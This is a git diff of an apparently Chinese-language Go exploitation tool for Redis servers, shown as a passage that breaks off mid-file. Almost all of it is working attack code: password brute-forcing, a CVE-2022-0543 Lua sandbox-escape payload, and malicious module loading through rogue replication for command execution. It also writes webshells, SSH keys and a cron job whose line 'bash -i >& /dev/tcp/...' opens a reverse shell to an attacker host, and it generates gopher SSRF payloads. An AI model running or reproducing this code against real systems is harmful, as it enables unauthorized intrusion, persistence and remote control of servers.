fmt.Printf("[OK]\tconfig set dir %s\n", dir) + + if dbfilenameOK := configSet("dbfilename", dbfilename); dbfilenameOK != "OK" { + fmt.Printf("[ERROR]\tFailed to set dbfilename to %s\n", dbfilename) + return + } + fmt.Printf("[OK]\tconfig set dbfilename %s\n", dbfilename) + + err := listen(lport, payload) + if err != nil { + fmt.Printf("[xx]\t%v\n", err) + return + } + + load := fmt.Sprintf("%v/%v", dir, dbfilename) + + val, err := rdb.Do(ctx, "module", "load", load).Result() + if err != nil { + fmt.Printf("[xx]\t%v\n", err) + return + } + + fmt.Printf("[%s]\tmodule load %s\n", val, load) + + defer func() { + // 恢复原始配置 + fmt.Printf("[%s]\tconfig set dir %s\n", configSet("dir", redisDir), redisDir) + fmt.Printf("[%s]\tconfig set dbfilename %s\n", configSet("dbfilename", redisDBFilename), redisDBFilename) + }() +} + +// Listen 开启TCP端口 +func listen(lport string, payload []byte) error { + + addr := fmt.Sprintf("0.0.0.0:%v", lport) + //fmt.Println(addr) + + var wg sync.WaitGroup + wg.Add(1) + + tcpAddr, err := net.ResolveTCPAddr("tcp", addr) + if err != nil { + return err + } + + tcpListen, err := net.ListenTCP("tcp", tcpAddr) + if err != nil { + return err + } - pkg.Execute() + defer tcpListen.Close() + + c, err := tcpListen.AcceptTCP() + if err != nil { + return err + } + + go sendCmd(payload, &wg, c) + wg.Wait() + + c.Close() + + return nil +} + +// 读取dll进行主从 +func sendCmd(payload []byte, wg *sync.WaitGroup, c *net.TCPConn) { + + defer wg.Done() + + buf := make([]byte, 1024) + for { + n, err := c.Read(buf) + if err == io.EOF { + return + } + + if err != nil { + return + } + + switch { + case strings.Contains(string(buf[:n]), "PING"): + c.Write([]byte("+PONG\r\n")) + + case strings.Contains(string(buf[:n]), "REPLCONF"): + c.Write([]byte("+OK\r\n")) + + case strings.Contains(string(buf[:n]), "SYNC"): + resp := "+FULLRESYNC " + "0000000000000000000000000000000000000000" + " 1" + "\r\n" + resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n" + respb := []byte(resp) + respb = append(respb, payload...) + respb = append(respb, []byte("\r\n")...) + c.Write(respb) + } + } +} + +// RunCmd system.exec 执行命令 +func runCmd(cmd string) { + + val, err := rdb.Do(ctx, "system.exec", cmd).Result() + if err != nil { + fmt.Printf("[xx]\t%v\n", err) + return + } + + if len(val.(string)) > 0 { + fmt.Println("\n" + GbkToUtf8(val.(string))) + } + +} + +// CloseSlave 关闭主从复制 +func closeSlave(dll string) { + + // 执行 SLAVEOF NO ONE 命令 + result, err := rdb.Do(ctx, "SLAVEOF", "NO", "ONE").Result() + if err != nil { + fmt.Printf("[xx]\t%v\n", err) + return + } + + fmt.Printf("[%v]\tslaveof no one\n", result) + + if strings.EqualFold(dll, "upload") { + return + } + + // 执行命令才卸载 module + if strings.Contains(dll, ".so") { + runCmd("rm " + dll) + fmt.Printf("[==]\trm %s\n", dll) + } + + // 执行 MODULE UNLOAD 命令 + result, err = rdb.Do(ctx, "MODULE", "UNLOAD", "system").Result() + if err != nil { + fmt.Printf("[xx]\t%v\n", err) + return + } + + fmt.Printf("[%v]\tmodule unload system\n", result) +} + +// RedisUpload 主从复制上传文件 +func redisUpload(lhost, lport, rpath, rfile, lfile string) { + + // 判断文件大小,发现个Redis Bug 小于9个字节可能会把 Redis 给打崩 + fi, err := os.Stat(lfile) + if err != nil { + fmt.Println(err) + os.Exit(0) + } + + if fi.Size() < 9 { + fmt.Println(fmt.Sprintf("当前文件大小:%d 个字节,不能上传小于 9 个字节, 因为可能会把Redis打崩哦", fi.Size())) + os.Exit(0) + } + + // 上传文件 + f, err := os.Open(lfile) + if err != nil { + fmt.Println(err) + os.Exit(0) + } + + payload, err := ioutil.ReadAll(f) + if err != nil { + fmt.Println(err) + os.Exit(0) + } + + fmt.Printf("[%v]\tslaveof %v %v\n", rdb.SlaveOf(ctx, lhost, lport).Val(), lhost, lport) + + if dirOK := configSet("dir", rpath); dirOK != "OK" { + fmt.Printf("[ERROR]\tFailed to set dir to %s\n", rpath) + return + } + fmt.Printf("[OK]\tconfig set dir %s\n", rpath) + + if dbfilenameOK := configSet("dbfilename", rfile); dbfilenameOK != "OK" { + fmt.Printf("[ERROR]\tFailed to set dbfilename to %s\n", rfile) + return + } + fmt.Printf("[OK]\tconfig set dbfilename %s\n", rfile) + + listen(lport, payload) + + fmt.Printf("[OK]\t%v\\%v uploaded successfully\n", rpath, rfile) + + defer func() { + // 恢复原始配置 + closeSlave("upload") + fmt.Printf("[%s]\tconfig set dir %s\n", configSet("dir", redisDir), redisDir) + fmt.Printf("[%s]\tconfig set dbfilename %s\n", configSet("dbfilename", redisDBFilename), redisDBFilename) + }() +} + +// 爆破密码 +func brutePWD(rhost, rport, filename string) { + pwds, err := readFile(filename) + if err != nil { + fmt.Println(err) + return + } + + ch := make(chan struct{}, 1) + var wg sync.WaitGroup + + for _, pass := range pwds { + wg.Add(1) + ch <- struct{}{} + go func(pass string) { + defer wg.Done() + + err := connection(rhost, rport, pass) + + if err == nil { + fmt.Println("成功爆破到 Redis 密码:" + pass) + os.Exit(0) + } else if strings.Contains(err.Error(), "ERR Client sent AUTH, but no password is set") { + fmt.Println("存在未授权 Redis , 不需要输入密码") + os.Exit(0) + } else if strings.Contains(err.Error(), "No connection could be made because the target machine actively refused it.") || strings.Contains(err.Error(), "context deadline exceeded") || strings.Contains(err.Error(), "i/o timeout") { + fmt.Println("Redis 连接超时") + os.Exit(0) + } + + <-ch + }(pass) + } + + wg.Wait() + fmt.Println("未发现 Redis 密码") +} + +// ReadFile 读取密码字典 +func readFile(filename string) ([]string, error) { + file, err := os.Open(filename) + if err != nil { + return nil, err + } + defer file.Close() + scanner := bufio.NewScanner(file) + scanner.Split(bufio.ScanLines) + var result []string + for scanner.Scan() { + str := strings.TrimSpace(scanner.Text()) + if str != "" { + result = append(result, str) + } + } + return result, err +} + +// RedisLua Lua沙盒绕过命令执行 CVE-2022-0543 +func redisLua(cmd string) { + + val, err := rdb.Do(ctx, "eval", fmt.Sprintf(`local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("%v", "r"); local res = f:read("*a"); f:close(); return res`, cmd), "0").Result() + if err != nil { + fmt.Println("不存在漏洞:", err) + os.Exit(0) + } + fmt.Println(Utf8ToGbk(val.(string))) +} + +func Utf8ToGbk(str string) string { + enc := simplifiedchinese.GBK.NewEncoder() + gbkBytes, err := enc.String(str) + if err != nil { + return err.Error() + } + return gbkBytes +} + +func GbkToUtf8(str string) string { + decoder := simplifiedchinese.GB18030.NewDecoder() + utf8Bytes, _, err := transform.Bytes(decoder, []byte(str)) + if err != nil { + return err.Error() + } + return string(utf8Bytes) +} + +// 循环执行命令和CVE +func loopCmd(m string) { + + reader := bufio.NewReader(os.Stdin) + for { + fmt.Print(">>> ") + cmd, _ := reader.ReadString('\n') + cmd = strings.TrimRight(cmd, "\r\n") + + if strings.EqualFold(cmd, "exit") || strings.EqualFold(cmd, "q") { + + if strings.EqualFold(m, "rce") { + closeSlave(rfile) + } + + break + } + if strings.EqualFold(m, "cve") { + redisLua(cmd) + } + + if strings.EqualFold(m, "rce") { + runCmd(cmd) + } + + } +} + +// 生成 gopher +func gopher(ip string, gopherFile string) { + + strs, err := readFile(gopherFile) + if err != nil { + fmt.Println(err) + return + } + + exp := "" + + for _, str := range strs { + + word := "" + str_flag := false + var redis_resps []string + + for _, char := range str { + + if str_flag { + if char == '"' || char == '\'' { + str_flag = false + if word != "" { + redis_resps = append(redis_resps, word) + } + + word = "" + } else { + word += string(char) + } + } else if word == "" && (char == '"' || char == '\'') { + str_flag = true + } else { + if char == ' ' { + if word != "" { + redis_resps = append(redis_resps, word) + } + + word = "" + } else if char == '\n' { + if word != "" { + redis_resps = append(redis_resps, word) + } + + word = "" + } else { + word += string(char) + } + + } + + } + + if word != "" { + redis_resps = append(redis_resps, word) + } + + tmp_line := "*" + strconv.Itoa(len(redis_resps)) + "\r\n" + + for _, word := range redis_resps { + tmp_line += "$" + strconv.Itoa(len(word)) + "\r\n" + word + "\r\n" + } + + for _, v := range tmp_line { + + exp += hex.EncodeToString([]byte(string(v))) + } + + } + + fmt.Printf("gopher://%s/_%%%s\n\n", ip, split(exp)) +} +func split(s string) string { + n := len(s) + if n <= 2 { + return s + } + return split(s[:n-2]) + "%" + s[n-2:] } diff --git a/pkg/CVE-2022-0543.go b/pkg/CVE-2022-0543.go deleted file mode 100644 index a3b20ed..0000000 --- a/pkg/CVE-2022-0543.go +++ /dev/null @@ -1,18 +0,0 @@ -package pkg - -import ( - "context" - "fmt" -) - -// RedisLua Lua沙盒绕过命令执行 CVE-2022-0543 -func RedisLua(cmd string) { - ctx := context.Background() - - val, err := Rdb.Do(ctx, "eval", fmt.Sprintf(`local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("%v", "r"); local res = f:read("*a"); f:close(); return res`, cmd), "0").Result() - if err != nil { - fmt.Println(err) - return - } - fmt.Println(Utf8ToGbk(val.(string))) -} diff --git a/pkg/brute.go b/pkg/brute.go deleted file mode 100644 index 09918db..0000000 --- a/pkg/brute.go +++ /dev/null @@ -1,46 +0,0 @@ -package pkg - -import ( - "fmt" - "os" - "strings" - "sync" -) - -// 爆破密码 -func BrutePWD(rhost, rport, filename string) { - pwds, err := ReadFile(filename) - if err != nil { - fmt.Println(err) - return - } - - ch := make(chan struct{}, 1) - var wg sync.WaitGroup - - for _, pass := range pwds { - wg.Add(1) - ch <- struct{}{} - go func(pass string) { - defer wg.Done() - - err := Connect(rhost, rport, pass) - - if err == nil { - fmt.Println("成功爆破到 Redis 密码:" + pass) - os.Exit(0) - } else if strings.Contains(err.Error(), "ERR Client sent AUTH, but no password is set") { - fmt.Println("存在未授权 Redis , 不需要输入密码") - os.Exit(0) - } else if strings.Contains(err.Error(), "context deadline exceeded") || strings.Contains(err.Error(), "i/o timeout") { - fmt.Println("Redis 连接超时") - os.Exit(0) - } - - <-ch - }(pass) - } - - wg.Wait() - fmt.Println("未发现 Redis 密码") -} diff --git a/pkg/cli.go b/pkg/cli.go deleted file mode 100644 index 22d9b4e..0000000 --- a/pkg/cli.go +++ /dev/null @@ -1,65 +0,0 @@ -package pkg - -import ( - "bufio" - "fmt" - "os" - "strings" -) - -// 循环执行 Redis 命令 -func LoopRedis(rhost, rport string) { - reader := bufio.NewReader(os.Stdin) - for { - fmt.Printf("%s:%s> ", rhost, rport) - cmd, _ := reader.ReadString('\n') - cmd = strings.TrimRight(cmd, "\r\n") - - if strings.EqualFold(cmd, "exit") { - break - } - // 执行命令 - i, err := RedisCmd(cmd) - if err != nil { - fmt.Println(err) - continue - } - fmt.Println(i.(string)) - } - -} - -// 循环执行命令 -func LoopCmd(dll string) { - - reader := bufio.NewReader(os.Stdin) - for { - fmt.Print("$ ") - cmd, _ := reader.ReadString('\n') - cmd = strings.TrimRight(cmd, "\r\n") - - if strings.EqualFold(cmd, "exit") { - CloseSlave(dll) - break - } - RunCmd(cmd) - - } -} - -// 循环执行CVE -func LoopCVE() { - - reader := bufio.NewReader(os.Stdin) - for { - fmt.Print("$ ") - cmd, _ := reader.ReadString('\n') - cmd = strings.TrimRight(cmd, "\r\n") - - if strings.EqualFold(cmd, "exit") { - break - } - RedisLua(cmd) - - } -} diff --git a/pkg/connect.go b/pkg/connect.go deleted file mode 100644 index d6ae6fa..0000000 --- a/pkg/connect.go +++ /dev/null @@ -1,35 +0,0 @@ -package pkg - -import ( - "context" - "errors" - "fmt" - "strings" - "time" - - "github.com/redis/go-redis/v9" -) - -var Rdb *redis.Client - -// 连接 Redis -func Connect(rhost, rport, pwd string) error { - if strings.EqualFold(rhost, "") { - return errors.New("参数错误: RedisExp.exe -r 目标IP -p 目标端口 -w 密码\n具体的帮助信息使用: -h") - } - Rdb = redis.NewClient(&redis.Options{ - Addr: fmt.Sprintf("%s:%s", rhost, rport), - Password: pwd, // 密码认证3.t - }) - - ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) - - defer cancel() - - _, err := Rdb.Ping(ctx).Result() - if err != nil { - return err - } - - return nil -} diff --git a/pkg/echoShell.go b/pkg/echoShell.go deleted file mode 100644 index 45695d9..0000000 --- a/pkg/echoShell.go +++ /dev/null @@ -1,86 +0,0 @@ -package pkg - -import ( - "context" - "encoding/base64" - "fmt" - "strings" - "time" -) - -func EchoShell(dir, dbfilename, webshell string) { - RedisVersion(false) - - dir = fmt.Sprintf("config set dir %v", dir) - dbfilename = fmt.Sprintf("config set dbfilename %v", dbfilename) - - if b64 { - decodeBytes, err := base64.StdEncoding.DecodeString(webshell) - if err != nil { - fmt.Println(err) - return - } - webshell = string(decodeBytes) - } - - webshell = fmt.Sprintf("\n\n\n\n\n%v\n\n\n\n", webshell) - - RunRedisCmd(dir) - RunRedisCmd(dbfilename) - - ctx := context.Background() - ok, err := Rdb.Set(ctx, "webshell", webshell, time.Minute*2).Result() - - readOnly := getRedisValue("config get slave-read-only") - - if err != nil { - if strings.Contains(err.Error(), "READONLY You can't write against a read only replica.") { - fmt.Println("[GG]\t目标开启了主从, 尝试关闭 slave-read-only 来写入文件") - - if strings.EqualFold(readOnly, "yes") { - RunRedisCmd("config set slave-read-only no") - ok, _ = Rdb.Set(ctx, "webshell", webshell, time.Minute*2).Result() - } - - } else { - fmt.Println(err) - return - } - } - - fmt.Printf("[%v]\t%v\n", ok, "set webshell "+strings.ReplaceAll(webshell, "\n", "")) - - // 关闭redis压缩来写入文件 - compression := getRedisValue("config get rdbcompression") - - if strings.EqualFold(compression, "yes") { - RunRedisCmd("config set rdbcompression no") - } - - RunRedisCmd("bgsave") - - // 恢复原来的配置 - defer defaultConfig(compression, readOnly) -} - -func RunRedisCmd(cmd string) { - res, err := RedisCmd(cmd) - - if err != nil { - fmt.Printf("[%v]\t%v\n", GbkToUtf8(err.Error()), cmd) - } else { - fmt.Printf("[%v]\t%v\n", res, GbkToUtf8(cmd)) - } -} - -// 恢复原来的配置 -func defaultConfig(compression, readOnly string) { - RunRedisCmd("del webshell") - - RunRedisCmd(fmt.Sprintf("config set dir %v", Redis_dir)) - RunRedisCmd(fmt.Sprintf("config set dbfilename %v", Redis_dbfilename)) - - RunRedisCmd("config set rdbcompression " + compression) - RunRedisCmd("config set slave-read-only " + readOnly) - //RunRedisCmd("bgsave") -} diff --git a/pkg/gopher.go b/pkg/gopher.go deleted file mode 100644 index 936b115..0000000 --- a/pkg/gopher.go +++ /dev/null @@ -1,80 +0,0 @@ -package pkg - -import ( - "encoding/hex" - "fmt" - "strconv" -) - -func Gopher(ip string, strs []string) { - exp := "" - - for _, str := range strs { - - word := "" - str_flag := false - var redis_resps []string - - for _, char := range str { - - if str_flag { - if char == '"' || char == '\'' { - str_flag = false - if word != "" { - redis_resps = append(redis_resps, word) - } - - word = "" - } else { - word += string(char) - } - } else if word == "" && (char == '"' || char == '\'') { - str_flag = true - } else { - if char == ' ' { - if word != "" { - redis_resps = append(redis_resps, word) - } - - word = "" - } else if char == '\n' { - if word != "" { - redis_resps = append(redis_resps, word) - } - - word = "" - } else { - word += string(char) - } - - } - - } - - if word != "" { - redis_resps = append(redis_resps, word) - } - - tmp_line := "*" + strconv.Itoa(len(redis_resps)) + "\r\n" - - for _, word := range redis_resps { - tmp_line += "$" + strconv.Itoa(len(word)) + "\r\n" + word + "\r\n" - } - - for _, v := range tmp_line { - - exp += hex.EncodeToString([]byte(string(v))) - } - - } - - fmt.Printf("gopher://%s/_%%%s\n\n", ip, split(exp)) -} - -func split(s string) string { - n := len(s) - if n <= 2 { - return s - } - return split(s[:n-2]) + "%" + s[n-2:] -} diff --git a/pkg/help.go b/pkg/help.go deleted file mode 100644 index 35ec662..0000000 --- a/pkg/help.go +++ /dev/null @@ -1,303 +0,0 @@ -package pkg - -import ( - "fmt" - "os" - "strings" - - "github.com/spf13/cobra" -) - -var ( - rhost, rport, lhost, lport, pwd string - rpath, rfile, lfile string - command, user, webshell string - gbk, b64 bool -) - -var rootCmd = &cobra.Command{ - Use: "RedisExp", - Short: "一款用于 Redis 漏洞的利用工具 [切勿非法测试,一切后果自负。]", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - err := Connect(rhost, rport, pwd) - if err != nil { - fmt.Println(err) - return - } - RedisVersion(true) - }, -} - -var cliCmd = &cobra.Command{ - Use: "cli", - Short: "执行 Redis 命令", - Long: "", - Run: func(cmd *cobra.Command, args []string) { - err := Connect(rhost, rport, pwd) - if err != nil { - fmt.Println(err) - return - } - if !strings.EqualFold(command, "") { - i, _ := RedisCmd(command) - fmt.Println(i.(string)) - return - } - LoopRedis(rhost, rport) - }, -} - -var bruteCmd = &cobra.Command{ - Use: "brute", - Short: "爆破密码", - Long: "", - Run: func(cmd *cobra.Command, args []string) { - if strings.EqualFold(rhost, "") || strings.EqualFold(pwd, "") { - fmt.Println("参数错误: RedisExp.exe brute -r 目标IP -p 目标端口 -f 字典文件") - return - } - BrutePWD(rhost, rport, pwd) - }, -} - -var echoShellCmd = &cobra.Command{ - Use: "shell", - Short: "备份写 webshell", - Long: "", - Run: func(cmd *cobra.Command, args []string) { - err := Connect(rhost, rport, pwd) - if err != nil { - fmt.Println(err) - return - } - if strings.EqualFold(rpath, "") || strings.EqualFold(rfile, "") || strings.EqualFold(webshell, "") { - fmt.Println("参数错误: RedisExp.exe shell -r 目标IP -p 目标端口 -w 密码 -d 目标路径 -f 目标文件名 -s Webshell内容") - return - } - if gbk { - rpath = Utf8ToGbk(rpath) - } - - EchoShell(rpath, rfile, webshell) - }, -} - -var echoSshCmd = &cobra.Command{ - Use: "ssh", - Short: "备份写 ssh 密钥", - Long: "", - Run: func(cmd *cobra.Command, args []string) { - err := Connect(rhost, rport, pwd) - if err != nil { - fmt.Println(err) - return - } - if strings.EqualFold(user, "") || strings.EqualFold(webshell, "") { - fmt.Println("参数错误: RedisExp.exe ssh -r 目标IP -p 目标端口 -w 密码 -n 用户名 -s 公钥") - return - } - - if strings.EqualFold(user, "root") { - user = "/root/.ssh/" - } else if strings.Contains(user, "/") { - - } else { - user = fmt.Sprintf("/home/%s/.ssh/", user) - } - - EchoShell(user, "authorized_keys", webshell) - }, -} - -var echoCrontabCmd = &cobra.Command{ - Use: "cron", - Short: "备份写 Linux 计划任务", - Long: "", - Run: func(cmd *cobra.Command, args []string) { - err := Connect(rhost, rport, pwd) - if err != nil { - fmt.Println(err) - return - } - if strings.EqualFold(lhost, "") || strings.EqualFold(lport, "") { - fmt.Println("参数错误: RedisExp.exe cron -r 目标IP -p 目标端口 -w 密码 -L VpsIP -P VpsPort") - return - } - webshell = fmt.Sprintf("*/1 * * * * root bash -i >& /dev/tcp/%s/%s 0>&1", lhost, lport) - // 在写计划任务的时候可以任意文件名,默认不要写root,这样可能会覆盖原有的计划任务。 - // EchoShell("/var/spool/cron/", "root", webshell) - EchoShell("/etc/cron.d/", "getshell", webshell) - }, -} - -var luaCmd = &cobra.Command{ - Use: "lua", - Short: "CVE-2022-0543", - Long: "", - Run: func(cmd *cobra.Command, args []string) { - err := Connect(rhost, rport, pwd) - if err != nil { - fmt.Println(err) - return - } - if !strings.EqualFold(command, "") { - RedisLua(command) - return - } - - LoopCVE() - - }, -} - -var gopherCmd = &cobra.Command{ - Use: "gopher", - Short: "生成 ssrf gopher payload", - Long: "", - Run: func(cmd *cobra.Command, args []string) { - if strings.EqualFold(lfile, "") { - fmt.Println("参数错误: RedisExp.exe gopher -f 1.txt") - return - } - i, err := ReadFile(lfile) - if err != nil { - fmt.Println(err) - return - } - if strings.EqualFold(lhost, "") { - lhost = "127.0.0.1" - } - Gopher(lhost+":"+lport, i) - }, -} - -var rceCmd = &cobra.Command{ - Use: "rce", - Short: "主从复制执行命令", - Long: "", - Run: func(cmd *cobra.Command, args []string) { - err := Connect(rhost, rport, pwd) - if err != nil { - fmt.Println(err) - return - } - if strings.EqualFold(lhost, "") { - fmt.Println("参数错误: RedisExp.exe -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port [-c whoami 单次执行]") - return - } - if gbk { - rpath = Utf8ToGbk(rpath) - } - - if strings.EqualFold(rfile, "") { - rfile = "exp.dll" - } - - RedisSlave(lhost, lport, rpath, rfile) - if !strings.EqualFold(command, "") { - RunCmd(command) - CloseSlave(rfile) - return - } - - LoopCmd(rfile) - }, -} - -var uploadCmd = &cobra.Command{ - Use: "upload", - Short: "主从复制上传文件", - Long: "", - Run: func(cmd *cobra.Command, args []string) { - err := Connect(rhost, rport, pwd) - if err != nil { - fmt.Println(err) - return - } - if strings.EqualFold(lhost, "") || strings.EqualFold(rfile, "") || strings.EqualFold(lfile, "") { - fmt.Println("参数错误: RedisExp.exe -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port -d 目标路径 -f 目标文件名 -F 本地文件") - return - } - - if gbk { - rpath = Utf8ToGbk(rpath) - } - - RedisUpload(lhost, lport, rpath, rfile, lfile) - }, -} - -var closeCmd = &cobra.Command{ - Use: "close", - Short: "关闭主从复制", - Long: "", - Run: func(cmd *cobra.Command, args []string) { - err := Connect(rhost, rport, pwd) - if err != nil { - fmt.Println(err) - return - } - CloseSlave(rfile) - }, -} - -func init() { - rootCmd.PersistentFlags().StringVarP(&rhost, "rhost", "r", "", "目标IP") - rootCmd.PersistentFlags().StringVarP(&rport, "rport", "p", "6379", "目标端口") - rootCmd.PersistentFlags().StringVarP(&pwd, "pwd", "w", "", "Password") - rootCmd.PersistentFlags().BoolVarP(&gbk, "gbk", "g", false, "windows 中文路径设置") - rootCmd.PersistentFlags().BoolVarP(&b64, "base64", "b", false, "对webshell, ssh公钥等内容进行Base64解码") - - cliCmd.Flags().StringVarP(&command, "cmd", "c", "", "单次执行 Redis 命令") - rootCmd.AddCommand(cliCmd) - - bruteCmd.Flags().StringVarP(&pwd, "dict", "f", "", "设置密码字典") - rootCmd.AddCommand(bruteCmd) - - echoShellCmd.Flags().StringVarP(&rpath, "rpath", "d", "", "目标路径") - echoShellCmd.Flags().StringVarP(&rfile, "rfile", "f", "", "目标文件名") - echoShellCmd.Flags().StringVarP(&webshell, "data", "s", "", "webshell内容") - - rootCmd.AddCommand(echoShellCmd) - - echoSshCmd.Flags().StringVarP(&user, "user", "u", "", "输入 root 默认/root/.ssh/\\tkali 默认 /home/kali/.ssh/\\t可以自定义目录例如: /.ssh/") - echoSshCmd.Flags().StringVarP(&webshell, "key", "s", "", "[id_rsa.pub] 公钥内容") - rootCmd.AddCommand(echoSshCmd) - - echoCrontabCmd.Flags().StringVarP(&lhost, "lhost", "L", "", "反弹Shell IP") - echoCrontabCmd.Flags().StringVarP(&lport, "lport", "P", "", "反弹Shell 端口") - rootCmd.AddCommand(echoCrontabCmd) - - luaCmd.Flags().StringVarP(&command, "cmd", "c", "", "单次执行 CVE-2022-0543 命令") - rootCmd.AddCommand(luaCmd) - - gopherCmd.Flags().StringVarP(&lhost, "lhost", "L", "", "本地IP") - gopherCmd.Flags().StringVarP(&lport, "lport", "P", "6379", "本地端口") - gopherCmd.Flags().StringVarP(&lfile, "lfile", "f", "", "gopher 模板文件") - rootCmd.AddCommand(gopherCmd) - - rceCmd.Flags().StringVarP(&lhost, "lhost", "L", "", "本地IP") - rceCmd.Flags().StringVarP(&lport, "lport", "P", "6379", "本地端口") - rceCmd.Flags().StringVarP(&rpath, "rpath", "d", "./", "目标路径") - rceCmd.Flags().StringVarP(&rfile, "rfile", "f", "exp.dll", "Windows(exp.dll) Linux需要设置(exp.so)") - rceCmd.Flags().StringVarP(&command, "cmd", "c", "", "单次执行主从命令") - rootCmd.AddCommand(rceCmd) - - uploadCmd.Flags().StringVarP(&lhost, "lhost", "L", "", "本地IP") - uploadCmd.Flags().StringVarP(&lport, "lport", "P", "6379", "本地端口") - uploadCmd.Flags().StringVarP(&rpath, "rpath", "d", "./", "目标路径") - uploadCmd.Flags().StringVarP(&rfile, "rfile", "f", "", "目标文件名") - uploadCmd.Flags().StringVarP(&lfile, "lfile", "F", "", "本地文件") - rootCmd.AddCommand(uploadCmd) - - closeCmd.Flags().StringVarP(&rfile, "rfile", "f", "", "默认只关闭主从, 给个值会执行module unload system, Linux需要设置(exp.so) ") - rootCmd.AddCommand(closeCmd) -} - -func Execute() { - - if err := rootCmd.Execute(); err != nil { - os.Exit(1) - } -} diff --git a/pkg/info.go b/pkg/info.go deleted file mode 100644 index 7252709..0000000 --- a/pkg/info.go +++ /dev/null @@ -1,31 +0,0 @@ -package pkg - -import ( - "fmt" - "strings" -) - -var ( - Redis_dir string - Redis_dbfilename string -) - -func RedisVersion(show bool) { - info, _ := RedisCmd("info server") - Redis_dir = getRedisValue("config get dir") - Redis_dbfilename = getRedisValue("config get dbfilename") - - if show { - for _, s := range strings.Split(info.(string), "\r\n") { - switch { - case strings.Contains(s, "redis_version"), strings.Contains(s, "os"), strings.Contains(s, "arch_bits"): - fmt.Printf("[%v]\n", s) - } - } - - fmt.Printf("[dir: %s]\n", Redis_dir) - - fmt.Printf("[dbfilename: %s]\n", Redis_dbfilename) - } - -} diff --git a/pkg/listen.go b/pkg/listen.go deleted file mode 100644 index 99db09b..0000000 --- a/pkg/listen.go +++ /dev/null @@ -1,78 +0,0 @@ -package pkg - -import ( - "fmt" - "io" - "net" - "strings" - "sync" -) - -// Listen 开启TCP端口 -func Listen(lhost, lport string, payload []byte) error { - - addr := fmt.Sprintf("0.0.0.0:%v", lport) - //fmt.Println(addr) - - var wg sync.WaitGroup - wg.Add(1) - - tcpAddr, err := net.ResolveTCPAddr("tcp", addr) - if err != nil { - return err - } - - tcpListen, err := net.ListenTCP("tcp", tcpAddr) - if err != nil { - return err - } - - defer tcpListen.Close() - - c, err := tcpListen.AcceptTCP() - if err != nil { - return err - } - //logger.Info(c.RemoteAddr().String()) - - go sendCmd(payload, &wg, c) - wg.Wait() - - c.Close() - - return nil -} - -// 读取dll进行主从 -func sendCmd(payload []byte, wg *sync.WaitGroup, c *net.TCPConn) { - - defer wg.Done() - - buf := make([]byte, 1024) - for { - n, err := c.Read(buf) - if err == io.EOF { - return - } - - if err != nil { - return - } - - switch { - case strings.Contains(string(buf[:n]), "PING"): - c.Write([]byte("+PONG\r\n")) - - case strings.Contains(string(buf[:n]), "REPLCONF"): - c.Write([]byte("+OK\r\n")) - - case strings.Contains(string(buf[:n]), "SYNC"): - resp := "+FULLRESYNC " + "0000000000000000000000000000000000000000" + " 1" + "\r\n" - resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n" - respb := []byte(resp) - respb = append(respb, payload...) - respb = append(respb, []byte("\r\n")...) - c.Write(respb) - } - } -} diff --git a/pkg/redisCmd.go b/pkg/redisCmd.go deleted file mode 100644 index 2cf8a41..0000000 --- a/pkg/redisCmd.go +++ /dev/null @@ -1,46 +0,0 @@ -package pkg - -import ( - "context" - "regexp" - "strings" -) - -// redisCmd 执行 Redis 命令 -func RedisCmd(cmd string) (interface{}, error) { - ctx := context.Background() - - var argsInterface []interface{} - - // 处理输入字符串有空格的问题 - if strings.Contains(cmd, "\"") || strings.Contains(cmd, "'") { - oldString := reString(cmd, `(['"])(.*?)(['"])`) - - //newString := strings.ReplaceAll(oldString, " ", "$_$_$_$_$_$") - //cmd = strings.ReplaceAll(cmd, oldString, newString) - //cmd = strings.ReplaceAll(cmd, "\"", "") - //cmd = strings.ReplaceAll(cmd, "'", "") - - cmd = strings.NewReplacer(oldString, strings.ReplaceAll(oldString, " ", "$_$_$_$_$_$"), "\"", "", "'", "").Replace(cmd) - - } - - args := strings.Fields(cmd) - for _, arg := range args { - arg = strings.ReplaceAll(arg, "$_$_$_$_$_$", " ") - argsInterface = append(argsInterface, arg) - } - - info, err := Rdb.Do(ctx, argsInterface...).Result() - if err != nil { - return nil, err - } - return info, nil -} - -// 正则匹配 -func reString(info interface{}, s string) string { - reg := regexp.MustCompile(s) - list := reg.FindAllStringSubmatch(info.(string), -1) - return list[0][0] -} diff --git a/pkg/slave.go b/pkg/slave.go deleted file mode 100644 index 4874e16..0000000 --- a/pkg/slave.go +++ /dev/null @@ -1,119 +0,0 @@ -package pkg - -import ( - "context" - "fmt" - "io/ioutil" - "os" - "strings" -) - -// RedisSlave 开启主从复制 -func RedisSlave(lhost, lport, dir, dbfilename string) { - RedisVersion(false) - var payload []byte - if strings.Contains(dbfilename, ".so") { - payload = SoPayload - } else { - payload = DllPayload - } - - RunRedisCmd("bgsave") - slave := fmt.Sprintf("slaveof %v %v", lhost, lport) - d := fmt.Sprintf("config set dir %v", dir) - f := fmt.Sprintf("config set dbfilename %v", dbfilename) - - RunRedisCmd(slave) - RunRedisCmd(d) - RunRedisCmd(f) - - err := Listen(lhost, lport, payload) - if err != nil { - fmt.Println(err) - return - } - - load := fmt.Sprintf("module load %v/%v", dir, dbfilename) - RunRedisCmd(load) - - defer RunRedisCmd(fmt.Sprintf("config set dir %v", Redis_dir)) - defer RunRedisCmd(fmt.Sprintf("config set dbfilename %v", Redis_dbfilename)) - -} - -// RunCmd system.exec 执行命令 -func RunCmd(cmd string) { - ctx := context.Background() - val, err := Rdb.Do(ctx, "system.exec", cmd).Result() - if err != nil { - fmt.Println(err) - return - } - fmt.Println(GbkToUtf8(val.(string))) - -} - -// CloseSlave 关闭主从复制 -func CloseSlave(dll string) { - - RunRedisCmd("slaveof no one") - - if strings.EqualFold(dll, "") { - return - } - - // 执行命令才卸载 module - if strings.Contains(dll, ".so") { - RunCmd("rm " + dll) - } - - RunRedisCmd("module unload system") - -} - -// RedisUpload 主从复制上传文件 -func RedisUpload(lhost, lport, rpath, rfile, lfile string) { - RedisVersion(false) - // 判断文件大小,发现个Redis Bug 小于9个字节可能会把 